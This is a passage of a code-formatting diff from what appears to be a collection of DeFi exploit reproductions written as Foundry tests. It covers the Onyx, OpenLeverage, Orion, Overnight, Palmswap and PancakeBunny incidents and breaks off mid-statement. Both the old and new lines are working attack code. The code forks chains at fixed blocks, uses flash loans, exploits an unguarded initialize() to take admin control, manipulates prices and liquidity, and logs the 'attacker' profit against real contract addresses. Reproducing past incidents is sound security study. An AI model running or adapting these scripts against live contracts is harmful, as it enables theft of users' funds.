onyxToken.liquidateBorrow( - address(intermediateToken), - 1, - address(oPEPE) - ); + onyxToken.liquidateBorrow(address(intermediateToken), 1, address(oPEPE)); oPEPE.redeem(oPEPE.balanceOf(address(this))); } } contract IntermediateContractETH { - IERC20 private constant PEPE = - IERC20(0x6982508145454Ce325dDbE47a25d4ec3d2311933); - ICErc20Delegate private constant oPEPE = - ICErc20Delegate(payable(0x5FdBcD61bC9bd4B6D3FD1F49a5D253165Ea11750)); - crETH private constant oETHER = - crETH(payable(0x714bD93aB6ab2F0bcfD2aEaf46A46719991d0d79)); - IComptroller private constant Unitroller = - IComptroller(0x7D61ed92a6778f5ABf5c94085739f1EDAbec2800); + IERC20 private constant PEPE = IERC20(0x6982508145454Ce325dDbE47a25d4ec3d2311933); + ICErc20Delegate private constant oPEPE = ICErc20Delegate(payable(0x5FdBcD61bC9bd4B6D3FD1F49a5D253165Ea11750)); + crETH private constant oETHER = crETH(payable(0x714bD93aB6ab2F0bcfD2aEaf46A46719991d0d79)); + IComptroller private constant Unitroller = IComptroller(0x7D61ed92a6778f5ABf5c94085739f1EDAbec2800); function start() external { PEPE.approve(address(oPEPE), type(uint256).max); @@ -399,16 +274,12 @@ contract IntermediateContractETH { Unitroller.enterMarkets(oTokens); oETHER.borrow(oETHER.getCash() - 1); - (bool success, ) = msg.sender.call{value: address(this).balance}(""); + (bool success,) = msg.sender.call{value: address(this).balance}(""); require(success, "Transfer ETH not successful"); oPEPE.redeemUnderlying(redeemAmt); - (, , , uint256 exchangeRate) = oPEPE.getAccountSnapshot(address(this)); - (, uint256 numSeizeTokens) = Unitroller.liquidateCalculateSeizeTokens( - address(oETHER), - address(oPEPE), - 1 - ); + (,,, uint256 exchangeRate) = oPEPE.getAccountSnapshot(address(this)); + (, uint256 numSeizeTokens) = Unitroller.liquidateCalculateSeizeTokens(address(oETHER), address(oPEPE), 1); uint256 mintAmount = (exchangeRate / 1e18) * numSeizeTokens - 2; oPEPE.mint(mintAmount); PEPE.transfer(msg.sender, PEPE.balanceOf(address(this))); @@ -418,16 +289,11 @@ contract IntermediateContractETH { } contract IntermediateContractToken { - IERC20 private constant PEPE = - IERC20(0x6982508145454Ce325dDbE47a25d4ec3d2311933); - ICErc20Delegate private constant oPEPE = - ICErc20Delegate(payable(0x5FdBcD61bC9bd4B6D3FD1F49a5D253165Ea11750)); - IUSDC private constant USDC = - IUSDC(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48); - IUSDT private constant USDT = - IUSDT(0xdAC17F958D2ee523a2206206994597C13D831ec7); - IComptroller private constant Unitroller = - IComptroller(0x7D61ed92a6778f5ABf5c94085739f1EDAbec2800); + IERC20 private constant PEPE = IERC20(0x6982508145454Ce325dDbE47a25d4ec3d2311933); + ICErc20Delegate private constant oPEPE = ICErc20Delegate(payable(0x5FdBcD61bC9bd4B6D3FD1F49a5D253165Ea11750)); + IUSDC private constant USDC = IUSDC(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48); + IUSDT private constant USDT = IUSDT(0xdAC17F958D2ee523a2206206994597C13D831ec7); + IComptroller private constant Unitroller = IComptroller(0x7D61ed92a6778f5ABf5c94085739f1EDAbec2800); function start(ICErc20Delegate onyxToken) external { PEPE.approve(address(oPEPE), type(uint256).max); @@ -446,19 +312,12 @@ contract IntermediateContractToken { } else if (onyxToken.underlying() == address(USDT)) { USDT.transfer(msg.sender, USDT.balanceOf(address(this))); } else { - IERC20(onyxToken.underlying()).transfer( - msg.sender, - IERC20(onyxToken.underlying()).balanceOf(address(this)) - ); + IERC20(onyxToken.underlying()).transfer(msg.sender, IERC20(onyxToken.underlying()).balanceOf(address(this))); } oPEPE.redeemUnderlying(redeemAmt); - (, , , uint256 exchangeRate) = oPEPE.getAccountSnapshot(address(this)); - (, uint256 numSeizeTokens) = Unitroller.liquidateCalculateSeizeTokens( - address(onyxToken), - address(oPEPE), - 1 - ); + (,,, uint256 exchangeRate) = oPEPE.getAccountSnapshot(address(this)); + (, uint256 numSeizeTokens) = Unitroller.liquidateCalculateSeizeTokens(address(onyxToken), address(oPEPE), 1); uint256 mintAmount = (exchangeRate / 1e18) * numSeizeTokens - 2; oPEPE.mint(mintAmount); PEPE.transfer(msg.sender, PEPE.balanceOf(address(this))); diff --git a/src/test/OpenLeverage_exp.sol b/src/test/OpenLeverage_exp.sol index cfc6cd94..12fde81f 100644 --- a/src/test/OpenLeverage_exp.sol +++ b/src/test/OpenLeverage_exp.sol @@ -14,11 +14,7 @@ import "./interface.sol"; // https://defimon.xyz/exploit/bsc/0x5366c6ba729d9cf8d472500afc1a2976ac2fe9ff interface IRewardVaultDelegator { - function initialize( - address bnftRegistry, - address vrfCoordinator, - uint64 subscriptionId - ) external; + function initialize(address bnftRegistry, address vrfCoordinator, uint64 subscriptionId) external; function setImplementation(address implementation) external; @@ -30,26 +26,18 @@ interface IRewardVaultDelegator { contract ContractTest is Test { IRewardVaultDelegator private constant RewardVaultDelegator = IRewardVaultDelegator(0x7bACB1c805CbbF7c4f74556a4B34FDE7793d0887); - Uni_Router_V2 private constant Router = - Uni_Router_V2(0x10ED43C718714eb63d5aA57B78B54704E256024E); - IERC20 private constant RACA = - IERC20(0x12BB890508c125661E03b09EC06E404bc9289040); - IERC20 private constant BUSDT = - IERC20(0xe9e7CEA3DedcA5984780Bafc599bD69ADd087D56); - IERC20 private constant FLOKI = - IERC20(0xfb5B838b6cfEEdC2873aB27866079AC55363D37E); - IERC20 private constant OLE = - IERC20(0xa865197A84E780957422237B5D152772654341F3); - IERC20 private constant CSIX = - IERC20(0x04756126F044634C9a0f0E985e60c88a51ACC206); - IERC20 private constant BABY = - IERC20(0x53E562b9B7E5E94b81f10e96Ee70Ad06df3D2657); - address private constant openLeverageDeployer = - 0xE9547CF7E592F83C5141bB50648317e35D27D29B; + Uni_Router_V2 private constant Router = Uni_Router_V2(0x10ED43C718714eb63d5aA57B78B54704E256024E); + IERC20 private constant RACA = IERC20(0x12BB890508c125661E03b09EC06E404bc9289040); + IERC20 private constant BUSDT = IERC20(0xe9e7CEA3DedcA5984780Bafc599bD69ADd087D56); + IERC20 private constant FLOKI = IERC20(0xfb5B838b6cfEEdC2873aB27866079AC55363D37E); + IERC20 private constant OLE = IERC20(0xa865197A84E780957422237B5D152772654341F3); + IERC20 private constant CSIX = IERC20(0x04756126F044634C9a0f0E985e60c88a51ACC206); + IERC20 private constant BABY = IERC20(0x53E562b9B7E5E94b81f10e96Ee70Ad06df3D2657); + address private constant openLeverageDeployer = 0xE9547CF7E592F83C5141bB50648317e35D27D29B; address private constant WBNB = 0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c; function setUp() public { - vm.createSelectFork("bsc", 32820951); + vm.createSelectFork("bsc", 32_820_951); vm.label(address(RewardVaultDelegator), "RewardVaultDelegator"); vm.label(address(Router), "Router"); vm.label(address(RACA), "RACA"); @@ -64,30 +52,18 @@ contract ContractTest is Test { function testExploit() public { deal(address(this), 0 ether); - emit log_named_decimal_uint( - "Attacker BNB balance before exploit", - address(this).balance, - 18 - ); + emit log_named_decimal_uint("Attacker BNB balance before exploit", address(this).balance, 18); assertEq(openLeverageDeployer, RewardVaultDelegator.admin()); - emit log_named_address( - "Original admin address (Open Leverage Deployer)", - RewardVaultDelegator.admin() - ); + emit log_named_address("Original admin address (Open Leverage Deployer)", RewardVaultDelegator.admin()); // Valid initialize function should have implemented check which restrict function to be called only once // 'initialize()' sets admin variable in RewardVaultDelegator contract - RewardVaultDelegator.initialize( - address(this), - address(this), - uint64(1) - ); + RewardVaultDelegator.initialize(address(this), address(this), uint64(1)); assertEq(address(this), RewardVaultDelegator.admin()); emit log_named_address( - "Admin address after calling initialize func (admin change)", - RewardVaultDelegator.admin() + "Admin address after calling initialize func (admin change)", RewardVaultDelegator.admin() ); // setImplementation func have 'onlyAdmin' modifier and at this step attacker can bypass this check @@ -96,26 +72,15 @@ contract ContractTest is Test { // Calling 'a' will make delegatecall to this contract (implementation contract) RewardVaultDelegator.a(address(this)); - emit log_named_decimal_uint( - "Attacker BNB balance after exploit", - address(this).balance, - 18 - ); + emit log_named_decimal_uint("Attacker BNB balance after exploit", address(this).balance, 18); } - function transferFromAndSwapTokensToBNB( - address from, - address token, - address to - ) internal { + function transferFromAndSwapTokensToBNB(address from, address token, address to) internal { IERC20(token).approve(address(Router), type(uint256).max); if (from != address(0)) { uint256 transferAmount = IERC20(token).balanceOf(from); - uint256 allowance = IERC20(token).allowance( - from, - address(RewardVaultDelegator) - ); + uint256 allowance = IERC20(token).allowance(from, address(RewardVaultDelegator)); if (allowance < transferAmount) { transferAmount = allowance; } @@ -127,11 +92,7 @@ contract ContractTest is Test { path[0] = token; path[1] = WBNB; Router.swapExactTokensForETHSupportingFeeOnTransferTokens( - IERC20(token).balanceOf(address(this)), - 0, - path, - to, - block.timestamp + 1000 + IERC20(token).balanceOf(address(this)), 0, path, to, block.timestamp + 1000 ); } diff --git a/src/test/Orion_exp.sol b/src/test/Orion_exp.sol index e3a7c1cd..87a6d62f 100644 --- a/src/test/Orion_exp.sol +++ b/src/test/Orion_exp.sol @@ -18,8 +18,9 @@ import "./interface.sol"; interface OrionPoolV2Factory { function createPair(address tokenA, address tokenB) external; - function getPair(address tokenA, address tokenB) external view returns(address); + function getPair(address tokenA, address tokenB) external view returns (address); } + interface ORION { function swapThroughOrionPool( uint112 amount_spend, @@ -73,7 +74,7 @@ contract ContractTest is Test { emit log_named_decimal_uint( "Attacker WETH balance after exploit", WETH.balanceOf(address(this)), WETH.decimals() - ); + ); } function uniswapV2Call(address sender, uint256 amount0, uint256 amount1, bytes calldata data) external { @@ -83,7 +84,9 @@ contract ContractTest is Test { path[2] = address(USDT); Orion.swapThroughOrionPool(10_000, 0, path, true); Orion.withdraw(address(USDT), uint112(USDT.balanceOf(address(Orion)) - 1)); - address(USDT).call(abi.encodeWithSignature("transfer(address,uint256)", address(Pair), flashAmount * 1000 / 997 + 1000)); + address(USDT).call( + abi.encodeWithSignature("transfer(address,uint256)", address(Pair), flashAmount * 1000 / 997 + 1000) + ); } function addLiquidity() internal { @@ -171,7 +174,7 @@ contract ATKToken is IERC20 { emit Transfer(msg.sender, address(0), amount); } - function withdraw(uint256 wad) external{} - function deposit(uint256 wad) external returns (bool){} - function owner() external view returns (address){} + function withdraw(uint256 wad) external {} + function deposit(uint256 wad) external returns (bool) {} + function owner() external view returns (address) {} } diff --git a/src/test/Overnight_exp.sol b/src/test/Overnight_exp.sol index 046a06e8..a4438ef6 100644 --- a/src/test/Overnight_exp.sol +++ b/src/test/Overnight_exp.sol @@ -9,7 +9,7 @@ import "./interface.sol"; // @Address // https://snowtrace.io/address/0xfe2c4cb637830b3f1cdc626b99f31b1ff4842e2c -interface JoeRouter{ +interface JoeRouter { function swapAVAXForExactTokens( uint256 amountOut, address[] calldata path, @@ -18,21 +18,15 @@ interface JoeRouter{ ) external payable returns (uint256[] memory amounts); } -interface USDPlus{ +interface USDPlus { function buy(address _referredBy, uint256 amount) external returns (uint256); function redeem(address to, uint256 amount) external returns (uint256 redeemed); } -interface SwapFlashLoan{ - function calculateTokenAmount( - uint256[] calldata amounts, - bool deposit - ) external view returns (uint256); - function addLiquidity( - uint256[] calldata amounts, - uint256 minToMint, - uint256 deadline - ) external returns (uint256); +interface SwapFlashLoan { + function calculateTokenAmount(uint256[] calldata amounts, bool deposit) external view returns (uint256); + + function addLiquidity(uint256[] calldata amounts, uint256 minToMint, uint256 deadline) external returns (uint256); function calculateRemoveLiquidity(uint256 amount) external returns (uint256[] memory); @@ -51,32 +45,33 @@ interface SwapFlashLoan{ ) external returns (uint256); } -interface BenqiFinance{ - function enterMarkets(address[] memory qiTokens) external returns (uint[] memory); - function getAccountLiquidity(address account) external view returns (uint, uint, uint); +interface BenqiFinance { + function enterMarkets(address[] memory qiTokens) external returns (uint256[] memory); + function getAccountLiquidity(address account) external view returns (uint256, uint256, uint256); function getHypotheticalAccountLiquidity( address account, address qiTokenModify, - uint redeemTokens, - uint borrowAmount) external view returns (uint, uint, uint); + uint256 redeemTokens, + uint256 borrowAmount + ) external view returns (uint256, uint256, uint256); } -interface BenqiChainlinkOracle{ - function getUnderlyingPrice(address qiToken) external view returns (uint); +interface BenqiChainlinkOracle { + function getUnderlyingPrice(address qiToken) external view returns (uint256); } -interface QiUSDCn{ - function mint(uint mintAmount) external returns (uint); - function redeemUnderlying(uint redeemAmount) external returns (uint); +interface QiUSDCn { + function mint(uint256 mintAmount) external returns (uint256); + function redeemUnderlying(uint256 redeemAmount) external returns (uint256); } -interface QiUSDC{ - function borrow(uint borrowAmount) external returns (uint); - function repayBorrow(uint repayAmount) external returns (uint); - function borrowBalanceStored(address account) external view returns (uint); +interface QiUSDC { + function borrow(uint256 borrowAmount) external returns (uint256); + function repayBorrow(uint256 repayAmount) external returns (uint256); + function borrowBalanceStored(address account) external view returns (uint256); } -interface PlatypusFinance{ +interface PlatypusFinance { function swap( address fromToken, address toToken, @@ -87,31 +82,31 @@ interface PlatypusFinance{ ) external; } -interface NetAsset{ +interface NetAsset { function netAssetValue() external view returns (uint256); } -interface TotalNetAsset{ +interface TotalNetAsset { function totalNetAssets() external view returns (uint256); } -interface SicleRouter{ +interface SicleRouter { function swapExactTokensForTokens( - uint amountIn, - uint amountOutMin, + uint256 amountIn, + uint256 amountOutMin, address[] calldata path, address to, - uint deadline + uint256 deadline ) external; } -contract ContractTest is DSTest{ +contract ContractTest is DSTest { JoeRouter Router = JoeRouter(0x60aE616a2155Ee3d9A68541Ba4544862310933d4); SicleRouter sicleRouter = SicleRouter(0xC7f372c62238f6a5b79136A9e5D16A2FD7A3f0F5); - USDPlus USDplus =USDPlus(0x73cb180bf0521828d8849bc8CF2B920918e23032); + USDPlus USDplus = USDPlus(0x73cb180bf0521828d8849bc8CF2B920918e23032); SwapFlashLoan Swap = SwapFlashLoan(0xED2a7edd7413021d440b09D654f3b87712abAB66); IAaveFlashloan LendingPoolV2 = IAaveFlashloan(0x4F01AeD16D97E3aB5ab2B501154DC9bb0F1A5A2C); - IAaveFlashloan PoolV3 = IAaveFlashloan(0x794a61358D6845594F94dc1DB02A252b5b4814aD); + IAaveFlashloan PoolV3 = IAaveFlashloan(0x794a61358D6845594F94dc1DB02A252b5b4814aD); BenqiFinance Benqi = BenqiFinance(0x486Af39519B4Dc9a7fCcd318217352830E8AD9b4); BenqiChainlinkOracle Oracle = BenqiChainlinkOracle(0x316aE55EC59e0bEb2121C0e41d4BDef8bF66b32B); QiUSDCn qiUSDCn = QiUSDCn(0xB715808a78F6041E46d61Cb123C9B4A27056AE9C); @@ -128,46 +123,35 @@ contract ContractTest is DSTest{ IERC20 USDC = IERC20(0xB97EF9Ef8734C71904D8002F8b6Bc66Dd9c48a6E); IERC20 nUSDLP = IERC20(0xCA87BF3ec55372D9540437d7a86a7750B42C02f4); address avUSDC = 0x46A51127C3ce23fb7AB1DE06226147F446e4a857; - uint PoolV2BorrowAmount; - uint amountBuy; + uint256 PoolV2BorrowAmount; + uint256 amountBuy; CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D); - function setUp() public { - cheats.createSelectFork("Avalanche", 23097846); + cheats.createSelectFork("Avalanche", 23_097_846); } - function testExploit() public payable{ + function testExploit() public payable { amountBuy = 36_000_000_000; address[] memory path = new address[](2); path[0] = address(WAVAX); path[1] = address(USDC); Router.swapAVAXForExactTokens{value: 2830 ether}(amountBuy, path, address(this), block.timestamp); - uint beforeAttackBalance = USDC.balanceOf(address(this)); - emit log_named_uint( - "Before exploit , USDC balance of attacker", - beforeAttackBalance / 1e6 - ); + uint256 beforeAttackBalance = USDC.balanceOf(address(this)); + emit log_named_uint("Before exploit , USDC balance of attacker", beforeAttackBalance / 1e6); Hack(); - uint afterAttackBalance = USDC.balanceOf(address(this)); - emit log_named_uint( - "After exploit , USDC balance of attacker", - afterAttackBalance / 1e6 - ); - - uint profitAttack = afterAttackBalance - beforeAttackBalance; - emit log_named_uint( - "Profit: USDC balance of attacker", - profitAttack / 1e6 - ); + uint256 afterAttackBalance = USDC.balanceOf(address(this)); + emit log_named_uint("After exploit , USDC balance of attacker", afterAttackBalance / 1e6); + uint256 profitAttack = afterAttackBalance - beforeAttackBalance; + emit log_named_uint("Profit: USDC balance of attacker", profitAttack / 1e6); } function Hack() public { - for(uint i = 0; i < 6; i++){ + for (uint256 i = 0; i < 6; i++) { cheats.roll(block.number + 1); PoolV2BorrowAmount = USDC_e.balanceOf(avUSDC); address[] memory assets = new address[](1); @@ -176,21 +160,20 @@ contract ContractTest is DSTest{ amounts[0] = PoolV2BorrowAmount; uint256[] memory modes = new uint[](1); modes[0] = 0; - LendingPoolV2.flashLoan(address(this),assets, amounts, modes, address(this), "", 0); // FlashLoan USDC.e + LendingPoolV2.flashLoan(address(this), assets, amounts, modes, address(this), "", 0); // FlashLoan USDC.e cheats.roll(block.number + 1); // USD+ buy and redeem not allowed in one block // redeem USD+ to USDC - if((totalNetAsset.totalNetAssets() - netAsset.netAssetValue()) > USDPLUS.balanceOf(address(this))){ + if ((totalNetAsset.totalNetAssets() - netAsset.netAssetValue()) > USDPLUS.balanceOf(address(this))) { USDplus.redeem(address(USDC), USDPLUS.balanceOf(address(this))); - }else{ + } else { USDplus.redeem(address(USDC), totalNetAsset.totalNetAssets() - netAsset.netAssetValue()); } } - USDPLUS.approve(address(sicleRouter), type(uint).max); + USDPLUS.approve(address(sicleRouter), type(uint256).max); address[] memory path = new address[](2); path[0] = address(USDPLUS); path[1] = address(USDC); sicleRouter.swapExactTokensForTokens(USDPLUS.balanceOf(address(this)), 0, path, address(this), block.timestamp); - } function executeOperation( @@ -200,8 +183,8 @@ contract ContractTest is DSTest{ address initiator, bytes calldata params ) external payable returns (bool) { - if(msg.sender == address(LendingPoolV2)){ - USDC_e.approve(address(LendingPoolV2), type(uint).max); + if (msg.sender == address(LendingPoolV2)) { + USDC_e.approve(address(LendingPoolV2), type(uint256).max); address[] memory assets1 = new address[](1); assets1[0] = address(USDC); uint256[] memory amounts1 = new uint256[](1); @@ -211,30 +194,29 @@ contract ContractTest is DSTest{ PoolV3.flashLoan(address(this), assets1, amounts1, modes, address(this), "", 0); // FlashLoan USDC return true; - } else{ - USDC.approve(address(PoolV3), type(uint).max); - uint mintAmount = PoolV2BorrowAmount / 2; - USDC.approve(address(qiUSDCn), type(uint).max); + } else { + USDC.approve(address(PoolV3), type(uint256).max); + uint256 mintAmount = PoolV2BorrowAmount / 2; + USDC.approve(address(qiUSDCn), type(uint256).max); qiUSDCn.mint(mintAmount); // deposit USDC to qiUSDCn address[] memory qiTokens = new address[](1); qiTokens[0] = address(qiUSDCn); Benqi.enterMarkets(qiTokens); - ( ,uint accountLiquidity, ) = Benqi.getAccountLiquidity(address(this)); - uint oraclePrice = Oracle.getUnderlyingPrice(address(qiUSDC)) / 1e18; - uint borrowAmount = accountLiquidity / oraclePrice; + (, uint256 accountLiquidity,) = Benqi.getAccountLiquidity(address(this)); + uint256 oraclePrice = Oracle.getUnderlyingPrice(address(qiUSDC)) / 1e18; + uint256 borrowAmount = accountLiquidity / oraclePrice; qiUSDC.borrow(borrowAmount); // borrow USDC.e from qiUSDC - - // swap USDC.e to nUSD, DAI.e, USDT.e - USDC_e.approve(address(Swap), type(uint).max); - nUSDLP.approve(address(Swap), type(uint).max); + // swap USDC.e to nUSD, DAI.e, USDT.e + USDC_e.approve(address(Swap), type(uint256).max); + nUSDLP.approve(address(Swap), type(uint256).max); uint256[] memory amount = new uint256[](4); amount[2] = USDC_e.balanceOf(address(this)); - uint minToMint = Swap.calculateTokenAmount(amount, true) * 99 / 100; - uint LPAmount = Swap.addLiquidity(amount, minToMint, block.timestamp); - uint i = 0; - while(i < 9){ + uint256 minToMint = Swap.calculateTokenAmount(amount, true) * 99 / 100; + uint256 LPAmount = Swap.addLiquidity(amount, minToMint, block.timestamp); + uint256 i = 0; + while (i < 9) { uint256[] memory removeAmount = new uint256[](4); removeAmount = Swap.calculateRemoveLiquidity(LPAmount); removeAmount[2] = 0; @@ -245,17 +227,17 @@ contract ContractTest is DSTest{ uint256[] memory removeAmount1 = new uint256[](4); removeAmount1 = Swap.calculateRemoveLiquidity(LPAmount); Swap.removeLiquidityImbalance(removeAmount1, LPAmount, block.timestamp); - uint swapAmount = USDC_e.balanceOf(address(this)) / 3; - nUSD.approve(address(Swap), type(uint).max); - DAI_e.approve(address(Swap), type(uint).max); - USDT_e.approve(address(Swap), type(uint).max); + uint256 swapAmount = USDC_e.balanceOf(address(this)) / 3; + nUSD.approve(address(Swap), type(uint256).max); + DAI_e.approve(address(Swap), type(uint256).max); + USDT_e.approve(address(Swap), type(uint256).max); // swap remaining USDC.e to nUSD, DAI.e, USDT.e Swap.swap(2, 0, swapAmount, 0, block.timestamp); Swap.swap(2, 1, swapAmount, 0, block.timestamp); Swap.swap(2, 3, swapAmount, 0, block.timestamp); - USDC.approve(address(USDplus), type(uint).max); - USDplus.buy(address(USDC), USDC.balanceOf(address(this))); // tigger Swap.addLiquidity(USDC.e), add USDC.e reserve in Pool + USDC.approve(address(USDplus), type(uint256).max); + USDplus.buy(address(USDC), USDC.balanceOf(address(this))); // tigger Swap.addLiquidity(USDC.e), add USDC.e reserve in Pool // swap nUSD, DAI.e, USDT.e to USDC.e Swap.swap(0, 2, nUSD.balanceOf(address(this)), 0, block.timestamp); Swap.swap(1, 2, DAI_e.balanceOf(address(this)), 0, block.timestamp); @@ -265,14 +247,20 @@ contract ContractTest is DSTest{ qiUSDC.repayBorrow(qiUSDC.borrowBalanceStored(address(this))); // repay borrow USDC.e qiUSDCn.redeemUnderlying(mintAmount); // withdraw USDC from qiUSDCn - USDC_e.approve(address(Platypus), type(uint).max); - uint USDC_eSwapAmount = USDC_e.balanceOf(address(this)) - PoolV2BorrowAmount / 9991 * 10000 + 1000; - Platypus.swap(address(USDC_e), address(USDC), USDC_eSwapAmount, USDC_eSwapAmount * 99 / 100, address(this), block.timestamp); // swap profit USDC.e to USDC + USDC_e.approve(address(Platypus), type(uint256).max); + uint256 USDC_eSwapAmount = USDC_e.balanceOf(address(this)) - PoolV2BorrowAmount / 9991 * 10_000 + 1000; + Platypus.swap( + address(USDC_e), + address(USDC), + USDC_eSwapAmount, + USDC_eSwapAmount * 99 / 100, + address(this), + block.timestamp + ); // swap profit USDC.e to USDC return true; - } - } - receive() payable external{} -} \ No newline at end of file + + receive() external payable {} +} diff --git a/src/test/Palmswap_exp.sol b/src/test/Palmswap_exp.sol index 860a11db..a6a32314 100644 --- a/src/test/Palmswap_exp.sol +++ b/src/test/Palmswap_exp.sol @@ -57,13 +57,13 @@ contract PalmswapTest is Test { emit log_named_decimal_uint( "Attacker balance of BUSDT before exploit", BUSDT.balanceOf(address(this)), BUSDT.decimals() - ); + ); takeFlashLoanOnRadiant(); emit log_named_decimal_uint( "Attacker balance of BUSDT after exploit", BUSDT.balanceOf(address(this)), BUSDT.decimals() - ); + ); } function executeOperation( diff --git a/src/test/PancakeBunny_exp.sol b/src/test/PancakeBunny_exp.sol index dd86b46e..2697371c 100644 --- a/src/test/PancakeBunny_exp.sol +++ b/src/test/PancakeBunny_exp.sol @@ -5,22 +5,21 @@ import "forge-std/Test.sol"; import "./interface.sol"; /** -Exploit: -Tx 1 : https://bscscan.com/tx/0x88fcffc3256faac76cde4bbd0df6ea3603b1438a5a0409b2e2b91e7c2ba3371a - Attacker zaps 1 BNB into WBNB-USDT VaultFlipToFlip - -harvest() tx: https://dashboard.tenderly.co/tx/bsc/0x9c48fd13d65f5f951882282444a45a7b84c4f673891bbdcc48af68ed305950bb/debugger?trace=0.0 - -Tx 2 : https://bscscan.com/tx/0x897c2de73dd55d7701e1b69ffb3a17b0f4801ced88b0c75fe1551c5fcce6a979 - Attacker's price oracle manipulation transaction - -Resources: -https://pancakebunny.medium.com/hello-bunny-fam-a7bf0c7a07ba -https://cmichel.io/bsc-pancake-bunny-exploit-post-mortem/ -https://rekt.news/pancakebunny-rekt/ -https://www.newsbtc.com/news/company/bsc-flash-loan-attack-pancakebunny/ - -*/ + * Exploit: + * Tx 1 : https://bscscan.com/tx/0x88fcffc3256faac76cde4bbd0df6ea3603b1438a5a0409b2e2b91e7c2ba3371a + * Attacker zaps 1 BNB into WBNB-USDT VaultFlipToFlip + * + * harvest() tx: https://dashboard.tenderly.co/tx/bsc/0x9c48fd13d65f5f951882282444a45a7b84c4f673891bbdcc48af68ed305950bb/debugger?trace=0.0 + * + * Tx 2 : https://bscscan.com/tx/0x897c2de73dd55d7701e1b69ffb3a17b0f4801ced88b0c75fe1551c5fcce6a979 + * Attacker's price oracle manipulation transaction + * + * Resources: + * https://pancakebunny.medium.com/hello-bunny-fam-a7bf0c7a07ba + * https://cmichel.io/bsc-pancake-bunny-exploit-post-mortem/ + * https://rekt.news/pancakebunny-rekt/ + * https://www.newsbtc.com/news/company/bsc-flash-loan-attack-pancakebunny/ + */ contract ContractTest is DSTest { CheatCodes cheat = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D); @@ -28,76 +27,49 @@ contract ContractTest is DSTest { address USDT = 0x55d398326f99059fF775485246999027B3197955; address BUNNY = 0xC9849E6fdB743d08fAeE3E34dd2D1bc69EA11a51; - IVaultFlipToFlip flip = - IVaultFlipToFlip(0x633e538EcF0bee1a18c2EDFE10C4Da0d6E71e77B); + IVaultFlipToFlip flip = IVaultFlipToFlip(0x633e538EcF0bee1a18c2EDFE10C4Da0d6E71e77B); IBunnyZap zap = IBunnyZap(0xdC2bBB0D33E0e7Dea9F5b98F46EDBaC823586a0C); - IPancakeRouter router = - IPancakeRouter(payable(0x05fF2B0DB69458A0750badebc4f9e13aDd608C7F)); - - Uni_Pair_V2 WBNBUSDTv1 = - Uni_Pair_V2(0x20bCC3b8a0091dDac2d0BC30F68E6CBb97de59Cd); - Uni_Pair_V2 WBNBUSDTv2 = - Uni_Pair_V2(0x16b9a82891338f9bA80E2D6970FddA79D1eb0daE); - Uni_Pair_V2 WBNBBUNNY = - Uni_Pair_V2(0x7Bb89460599Dbf32ee3Aa50798BBcEae2A5F7f6a); - - Uni_Pair_V2 WBNBCAKE = - Uni_Pair_V2(0x0eD7e52944161450477ee417DE9Cd3a859b14fD0); - Uni_Pair_V2 WBNBBUSD = - Uni_Pair_V2(0x58F876857a02D6762E0101bb5C46A8c1ED44Dc16); - Uni_Pair_V2 WBNBETH = - Uni_Pair_V2(0x74E4716E431f45807DCF19f284c7aA99F18a4fbc); - Uni_Pair_V2 WBNBBTC = - Uni_Pair_V2(0x61EB789d75A95CAa3fF50ed7E47b96c132fEc082); - Uni_Pair_V2 WBNBSAFEMOON = - Uni_Pair_V2(0x9adc6Fb78CEFA07E13E9294F150C1E8C1Dd566c0); - Uni_Pair_V2 WBNBBELT = - Uni_Pair_V2(0xF3Bc6FC080ffCC30d93dF48BFA2aA14b869554bb); - Uni_Pair_V2 WBNBDOT = - Uni_Pair_V2(0xDd5bAd8f8b360d76d12FdA230F8BAF42fe0022CF); - Uni_Pair_V2[] pairs = [ - WBNBCAKE, - WBNBBUSD, - WBNBETH, - WBNBBTC, - WBNBSAFEMOON, - WBNBBELT, - WBNBDOT - ]; - - IFortubeBank FortubeBank = - IFortubeBank(0x0cEA0832e9cdBb5D476040D58Ea07ecfbeBB7672); + IPancakeRouter router = IPancakeRouter(payable(0x05fF2B0DB69458A0750badebc4f9e13aDd608C7F)); + + Uni_Pair_V2 WBNBUSDTv1 = Uni_Pair_V2(0x20bCC3b8a0091dDac2d0BC30F68E6CBb97de59Cd); + Uni_Pair_V2 WBNBUSDTv2 = Uni_Pair_V2(0x16b9a82891338f9bA80E2D6970FddA79D1eb0daE); + Uni_Pair_V2 WBNBBUNNY = Uni_Pair_V2(0x7Bb89460599Dbf32ee3Aa50798BBcEae2A5F7f6a); + + Uni_Pair_V2 WBNBCAKE = Uni_Pair_V2(0x0eD7e52944161450477ee417DE9Cd3a859b14fD0); + Uni_Pair_V2 WBNBBUSD = Uni_Pair_V2(0x58F876857a02D6762E0101bb5C46A8c1ED44Dc16); + Uni_Pair_V2 WBNBETH = Uni_Pair_V2(0x74E4716E431f45807DCF19f284c7aA99F18a4fbc); + Uni_Pair_V2 WBNBBTC = Uni_Pair_V2(0x61EB789d75A95CAa3fF50ed7E47b96c132fEc082); + Uni_Pair_V2 WBNBSAFEMOON = Uni_Pair_V2(0x9adc6Fb78CEFA07E13E9294F150C1E8C1Dd566c0); + Uni_Pair_V2 WBNBBELT = Uni_Pair_V2(0xF3Bc6FC080ffCC30d93dF48BFA2aA14b869554bb); + Uni_Pair_V2 WBNBDOT = Uni_Pair_V2(0xDd5bAd8f8b360d76d12FdA230F8BAF42fe0022CF); + Uni_Pair_V2[] pairs = [WBNBCAKE, WBNBBUSD, WBNBETH, WBNBBTC, WBNBSAFEMOON, WBNBBELT, WBNBDOT]; + + IFortubeBank FortubeBank = IFortubeBank(0x0cEA0832e9cdBb5D476040D58Ea07ecfbeBB7672); address keeper = 0x793074D9799DC3c6039F8056F1Ba884a73462051; constructor() public { - cheat.createSelectFork("bsc", 7556330); + cheat.createSelectFork("bsc", 7_556_330); IERC20(WBNB).approve(address(zap), 1e18); IERC20(address(WBNBUSDTv2)).approve(address(flip), type(uint256).max); IERC20(address(USDT)).approve(address(router), type(uint256).max); IERC20(address(WBNB)).approve(address(router), type(uint256).max); } - + function testExploit() public { payable(WBNB).call{value: 1e18}(""); emit log_named_decimal_uint( - "Initial WBNB balance of attacker:", - IERC20(WBNB).balanceOf(address(this)), - IERC20(WBNB).decimals() + "Initial WBNB balance of attacker:", IERC20(WBNB).balanceOf(address(this)), IERC20(WBNB).decimals() ); emit 